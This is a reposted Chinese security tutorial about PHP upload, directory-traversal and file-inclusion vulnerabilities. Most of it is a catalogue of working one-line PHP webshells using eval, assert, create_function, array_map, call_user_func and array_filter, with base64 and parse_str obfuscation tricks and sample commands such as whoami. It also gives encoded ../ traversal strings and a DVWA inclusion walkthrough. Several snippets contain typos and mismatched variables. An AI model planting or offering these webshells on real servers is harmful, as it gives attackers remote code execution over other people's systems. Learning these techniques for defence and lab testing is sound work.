PHP   发布时间:2022-04-04  发布网站:大佬教程  code.js-code.com
大佬教程收集整理的这篇文章主要介绍了文件包含上传漏洞&目录遍历命令执行漏洞大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。

文件上传漏洞:

一句话木马

一句话木马主要由两部分组成:执行函数与 接收被执行代码的变量

执行函数

  • eval()
  • assert()
  • create_function()
  • array_map()
  • array_filter()
  • call_user_func()
  • call_user_func_array()

eval()

将字符串当作PHP代码执行,注意一定要带分号;

<?PHP @eval($_POST['sHell']);?>
将含有这个代码PHP文件上传到服务器,命名为websHell.PHP后,只需要构造URL为其传递参数即可将其利用,也可以用例如菜刀、蚁剑这类工具

利用:

websHell.PHP?sHell=PHPinfo()

assert()

函数正常情况下只在调试期间使用,又称断言函数,此函数作用与eval()类似,都可将括号中的字符串当作PHP代码执行

<?PHP @assert($_POST['sHell']);?>
利用方式与eval()类似

creat_function()

函数用于创建匿名函数

格式:

creat_function(参数,函数方法)

一句话木马的构造:

<?PHP 
$func = create_function('',$_POST['sHell']);
$func();
?>
解释:因为不需要本地传入参数,所以第一项为空即可,当我们通过POST传入字符串时,会当作PHP代码执行

利用:

sHell=PHPinfo()

array_map()

有趣的函数

函数会将数组中的每一个值通过回调函数依次执行得到结果,并返一个新的数组

格式:

array_map(函数,数组)

一句话木马的构造:

<?PHP 
$func = $_requEST['func'];
$way = $_requEST['way'];
$array[0] = $way;
$new_array =array_map($func,$way);
?> 
解释:将$way中的字符串作为$func中PHP代码的参数

利用:

?func=system()&way=whoami

call_user_func() | call_user_func_array()

call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。

call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

call_user_func(回调函数,回调函数的参数)
call_user_func_array(回调函数,将数组作为回调函数的参)

一句话木马的构造:

<?PHP 
call_user_func(assert,$_GET['cmd']);
?>

<?PHP
$array[0] = $_POST['sHell'];
call_user_func_array(eval,$array);
?>

array_filter()

依次将array数组中的每个值传到函数中去

array_filter(array,callBACk)

一句话木马的构造:

<?PHP
$cmd = $_POST['cmd'];
$array[0] = $cmd;
array_filter($array,assert)
?>

<?PHP
$func = $_POST['func'];
$way = $_requEST['way'];
$array[0] = $way;
array_filter($array,$func);
?.

文件操作函数

  • file_put_contents()
  • fputs()
  • fopen()

file_put_contents():把一个字符串写入文件

fputs():把一个字符串写入文件

二者区别:**file_puts_centents()可以直接写入**

                   **fputs()写入前,需要先fopen开文件**
<?PHP 
$test = "<?PHP @eval($_GET[''sHell']);?>";
file_put_contents('test1.PHP',$text);
?>

<?PHP fputs(fopen('sHell.PHP','w'),'<?PHP @eval($_POST['sHell']);?>')

动态函数

PHP函数直接由字符串拼接

<?PHP
$_GET['a']($_GET['b'])
?>

利用: ?a=eval&b=PHPinfo()

隐藏函数

base64_decode()

对要执行的被base64加密过的PHP代码进行解密

<?PHP   
$a=base64_decode("YXNzZXJ0");  
@a($_POST['sHell']);  
?>

pares_str()

parse_str() 函数查询字符串解析到变量中。

<?PHP
$str="a=eval";
parse_str($str);
$a($_POST['sHell']);
?>

目录遍历漏洞

x01 Unix目录遍历攻击

通用的类Unix系统的目录遍历攻击字符串形如“../”。

0x02 Windows操作系统目录遍历攻击

对于微软的Windows操作系统以及DOS系统的目录结构,攻击者可以使用“../”或者“..\”字符串。

0x03 URI编码形式的目录遍历攻击

一些网络应用会通过查询危险的字符串,例如:- ..- ..\- ../

来防止目录遍历攻击。然而,服务器检查的字符串往往会被URI编码。因此这类系统将无法避免如下形式的目录遍历攻击:

  • %2e%2e%2f:解码为../

  • %2e%2e/:解码为../

  • ..%2f:解码为../

  • %2e%2e%5c:解码为..\

先包含再遍历

攻击形式:

../../../../../../../../../etc/paawd

文件包含漏洞

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。

文件包含漏洞执行包含文件代码时,后缀名不会影响:即使后缀名时.txt也会正常执行其中的PHP代码

PHP文件包含函数:

  • include():找不到包含的文件时,警告,继续执行

  • include_once()

  • require():找不到包含的文件时,致命错误,停止执行

  • @R_536_502@

    含once的表示只能包含一次
    

PHP包含函数

示例代码

<?PHP
    $filename  = $_GET['filename'];
    include($fileName);
?>

此包含脚本,一般是web中源代码有的

本地文/包含漏洞

本地文件包含就是通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤允许遍历目录的字符注入浏览器并执行

简而言之 : 就是攻击者上传一个带有include的PHP文件,导致攻击者可以便利目标服务器上的文件(配合文件遍历漏洞)

例如:再DVWA的low级别中,若在其www/dvwa/dvwa目录下,放入一个info.PHP文件PHPinfo()),此时在操作机中,可通过 目录遍历漏洞配合文件包含漏洞访问并执行文件

  1. 首先随意构造URL,通过报错信息,确认当前的目录为 www\dvwa\vulnerabilities\fi\index.PHP
  2. 而我们所放入的info.PHP文件位于与vulnerabilities处于同一层级的dvwa目录下
  3. 此时便可以通过文件遍历漏洞:通过 ../来对目录进行回溯
  4. ?page=../../dvwa/info.PHP 便可以通过包含漏洞,包含并执行文件中的代码

Windows系统

大佬总结

以上是大佬教程为你收集整理的文件包含上传漏洞&目录遍历命令执行漏洞全部内容,希望文章能够帮你解决文件包含上传漏洞&目录遍历命令执行漏洞所遇到的程序开发问题。

如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。
标签: